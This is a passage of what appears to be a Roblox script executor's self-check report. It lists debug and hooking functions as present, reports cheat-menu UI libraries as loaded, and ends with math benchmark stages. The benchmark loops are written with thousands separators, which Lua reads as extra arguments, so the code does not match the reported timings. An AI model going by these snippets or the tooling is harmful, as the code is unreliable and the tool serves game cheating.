-- Status:   PRESENT (loaded by executor)

-- Check:
if crypt.encrypt then
    print("crypt.encrypt is available")
else
    print("crypt.encrypt is NOT available")
end

-- Function: crypt.generatebytes
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if crypt.generatebytes then
    print("crypt.generatebytes is available")
else
    print("crypt.generatebytes is NOT available")
end

-- Function: crypt.generatekey
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if crypt.generatekey then
    print("crypt.generatekey is available")
else
    print("crypt.generatekey is NOT available")
end

-- Function: crypt.hash
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if crypt.hash then
    print("crypt.hash is available")
else
    print("crypt.hash is NOT available")
end

-- Function: decompile
-- Category: MISC FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if decompile then
    print("decompile is available")
else
    print("decompile is NOT available")
end

-- Function: delfile
-- Category: MISC FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if delfile then
    print("delfile is available")
else
    print("delfile is NOT available")
end

-- Function: dumpstring
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if dumpstring then
    print("dumpstring is available")
else
    print("dumpstring is NOT available")
end

-- Function: getcallingscript
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getcallingscript then
    print("getcallingscript is available")
else
    print("getcallingscript is NOT available")
end

-- Function: getconnections
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getconnections then
    print("getconnections is available")
else
    print("getconnections is NOT available")
end

-- Function: getconstant
-- Category: DEBUG FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getconstant then
    print("getconstant is available")
else
    print("getconstant is NOT available")
end

-- Function: getconstants
-- Category: DEBUG FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getconstants then
    print("getconstants is available")
else
    print("getconstants is NOT available")
end

-- Function: getfenv
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getfenv then
    print("getfenv is available")
else
    print("getfenv is NOT available")
end

-- Function: getgc
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getgc then
    print("getgc is available")
else
    print("getgc is NOT available")
end

-- Function: getgenv
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getgenv then
    print("getgenv is available")
else
    print("getgenv is NOT available")
end

-- Function: gethiddenproperty
-- Category: MISC FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if gethiddenproperty then
    print("gethiddenproperty is available")
else
    print("gethiddenproperty is NOT available")
end

-- Function: getinfo
-- Category: DEBUG FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getinfo then
    print("getinfo is available")
else
    print("getinfo is NOT available")
end

-- Function: getinstances
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getinstances then
    print("getinstances is available")
else
    print("getinstances is NOT available")
end

-- Function: getloadedmodules
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getloadedmodules then
    print("getloadedmodules is available")
else
    print("getloadedmodules is NOT available")
end

-- Function: getmenv
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getmenv then
    print("getmenv is available")
else
    print("getmenv is NOT available")
end

-- Function: getnamecallmethod
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getnamecallmethod then
    print("getnamecallmethod is available")
else
    print("getnamecallmethod is NOT available")
end

-- Function: getnilinstances
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getnilinstances then
    print("getnilinstances is available")
else
    print("getnilinstances is NOT available")
end

-- Function: getproto
-- Category: DEBUG FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getproto then
    print("getproto is available")
else
    print("getproto is NOT available")
end

-- Function: getprotos
-- Category: DEBUG FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getprotos then
    print("getprotos is available")
else
    print("getprotos is NOT available")
end

-- Function: getrawmetatable
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getrawmetatable then
    print("getrawmetatable is available")
else
    print("getrawmetatable is NOT available")
end

-- Function: getreg
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getreg then
    print("getreg is available")
else
    print("getreg is NOT available")
end

-- Function: getscripts
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getscripts then
    print("getscripts is available")
else
    print("getscripts is NOT available")
end

-- Function: getsenv
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getsenv then
    print("getsenv is available")
else
    print("getsenv is NOT available")
end

-- Function: getstack
-- Category: DEBUG FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getstack then
    print("getstack is available")
else
    print("getstack is NOT available")
end

-- Function: getupvalue
-- Category: DEBUG FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getupvalue then
    print("getupvalue is available")
else
    print("getupvalue is NOT available")
end

-- Function: getupvalues
-- Category: DEBUG FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if getupvalues then
    print("getupvalues is available")
else
    print("getupvalues is NOT available")
end

-- Function: hookfunction
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if hookfunction then
    print("hookfunction is available")
else
    print("hookfunction is NOT available")
end

-- Function: islclosure
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if islclosure then
    print("islclosure is available")
else
    print("islclosure is NOT available")
end

-- Function: isreadonly
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if isreadonly then
    print("isreadonly is available")
else
    print("isreadonly is NOT available")
end

-- Function: listfiles
-- Category: MISC FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if listfiles then
    print("listfiles is available")
else
    print("listfiles is NOT available")
end

-- Function: loadfile
-- Category: MISC FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if loadfile then
    print("loadfile is available")
else
    print("loadfile is NOT available")
end

-- Function: loadstring
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if loadstring then
    print("loadstring is available")
else
    print("loadstring is NOT available")
end

-- Function: makefolder
-- Category: MISC FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if makefolder then
    print("makefolder is available")
else
    print("makefolder is NOT available")
end

-- Function: newcclosure
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if newcclosure then
    print("newcclosure is available")
else
    print("newcclosure is NOT available")
end

-- Function: readfile
-- Category: MISC FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if readfile then
    print("readfile is available")
else
    print("readfile is NOT available")
end

-- Function: replaceclosure
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if replaceclosure then
    print("replaceclosure is available")
else
    print("replaceclosure is NOT available")
end

-- Function: request
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if request then
    print("request is available")
else
    print("request is NOT available")
end

-- Function: setconstant
-- Category: DEBUG FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if setconstant then
    print("setconstant is available")
else
    print("setconstant is NOT available")
end

-- Function: setfflag
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if setfflag then
    print("setfflag is available")
else
    print("setfflag is NOT available")
end

-- Function: sethiddenproperty
-- Category: MISC FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if sethiddenproperty then
    print("sethiddenproperty is available")
else
    print("sethiddenproperty is NOT available")
end

-- Function: setmetatable
-- Category: DEBUG FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if setmetatable then
    print("setmetatable is available")
else
    print("setmetatable is NOT available")
end

-- Function: setnamecallmethod
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if setnamecallmethod then
    print("setnamecallmethod is available")
else
    print("setnamecallmethod is NOT available")
end

-- Function: setreadonly
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if setreadonly then
    print("setreadonly is available")
else
    print("setreadonly is NOT available")
end

-- Function: setstack
-- Category: DEBUG FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if setstack then
    print("setstack is available")
else
    print("setstack is NOT available")
end

-- Function: setupvalue
-- Category: DEBUG FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if setupvalue then
    print("setupvalue is available")
else
    print("setupvalue is NOT available")
end

-- Function: writefile
-- Category: MISC FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if writefile then
    print("writefile is available")
else
    print("writefile is NOT available")
end

-- Library: OrionLib
-- Status:  LOADED SUCCESSFULLY
-- The library was fetched, parsed, and executed without error.
-- It is injected into the executor environment and ready to use.

-- Library: Rayfield
-- Status:  LOADED SUCCESSFULLY
-- The library was fetched, parsed, and executed without error.
-- It is injected into the executor environment and ready to use.

-- Library: SiriusLib
-- Status:  LOADED SUCCESSFULLY
-- The library was fetched, parsed, and executed without error.
-- It is injected into the executor environment and ready to use.

-- Library: WallyV3
-- Status:  LOADED SUCCESSFULLY
-- The library was fetched, parsed, and executed without error.
-- It is injected into the executor environment and ready to use.

-- Library: Bracket
-- Status:  LOADED SUCCESSFULLY
-- The library was fetched, parsed, and executed without error.
-- It is injected into the executor environment and ready to use.

-- Library: Obsidian
-- Status:  LOADED SUCCESSFULLY
-- The library was fetched, parsed, and executed without error.
-- It is injected into the executor environment and ready to use.

-- Library: LinoriaLib
-- Status:  LOADED SUCCESSFULLY
-- The library was fetched, parsed, and executed without error.
-- It is injected into the executor environment and ready to use.

-- Library: Darius (Wax)
-- Status:  LOADED SUCCESSFULLY
-- The library was fetched, parsed, and executed without error.
-- It is injected into the executor environment and ready to use.

-- Library: Darius (Min)
-- Status:  LOADED SUCCESSFULLY
-- The library was fetched, parsed, and executed without error.
-- It is injected into the executor environment and ready to use.

-- Library: Darius (RBXM)
-- Status:  LOADED SUCCESSFULLY
-- The library was fetched, parsed, and executed without error.
-- It is injected into the executor environment and ready to use.

-- Library: Linoria (wis-h)
-- Status:  LOADED SUCCESSFULLY
-- The library was fetched, parsed, and executed without error.
-- It is injected into the executor environment and ready to use.

-- Stage: Very Light
-- Status: PASS
-- Iterations: 10,000
-- Time: 0.002s
-- Speed: 5,332,872 iterations/second

-- Benchmark core:
local sum = 0
for i = 1, 10,000 do
    local r = math.rad(i)
    sum = sum + math.sin(r) * math.cos(r) - (math.sin(r) / math.cos(r + 1e-10))
end

-- Stage: Light
-- Status: PASS
-- Iterations: 100,000
-- Time: 0.018s
-- Speed: 5,714,077 iterations/second

-- Benchmark core:
local sum = 0
for i = 1, 100,000 do
    local r = math.rad(i)
    sum = sum + math.sin(r) * math.cos(r) - (math.sin(r) / math.cos(r + 1e-10))
end

-- Stage: Medium
-- Status: PASS
-- Iterations: 500,000
-- Time: 0.092s
-- Speed: 5,412,284 iterations/second

-- Benchmark core:
local sum = 0
for i = 1, 500,000 do
    local r = math.rad(i)
    sum = sum + math.sin(r) * math.cos(r) - (math.sin(r) / math.cos(r + 1e-10))
end

-- Stage: Heavy
-- Status: PASS
-- Iterations: 1,000,000
-- Time: 0.184s
-- Speed: 5,431,868 iterations/second

-- Benchmark core:
local sum = 0
for i = 1, 1,000,000 do
    local r = math.rad(i)
    sum = sum + math.sin(r) * math.cos(r) - (math.sin(r) / math.cos(r + 1e-10))
end

-- Stage: Very Heavy
-- Status: PASS
-- Iterations: 10,000,000
-- Time: 1.795s
-- Speed: 5,570,800 iterations/second

-- Benchmark core:
local sum = 0
for i = 1, 10,000,000 do
    local r = math.rad(i)
    sum = sum + math.sin(r) * math.cos(r) - (math.sin(r) / math.cos(r + 1e-10))
end

-- Stage: Extreme
-- Status: PASS
-- Iterations: 50,000,000
-- Time: 9.175s
-- Speed: 5,449,858 iterations/second

-- Benchmark core:
local sum = 0
for i = 1, 50,000,000 do
    local r = math.rad(i)
    sum = sum + math.sin(r) * math.cos(r) - (math.sin(r) / math.cos(r + 1e-10))
end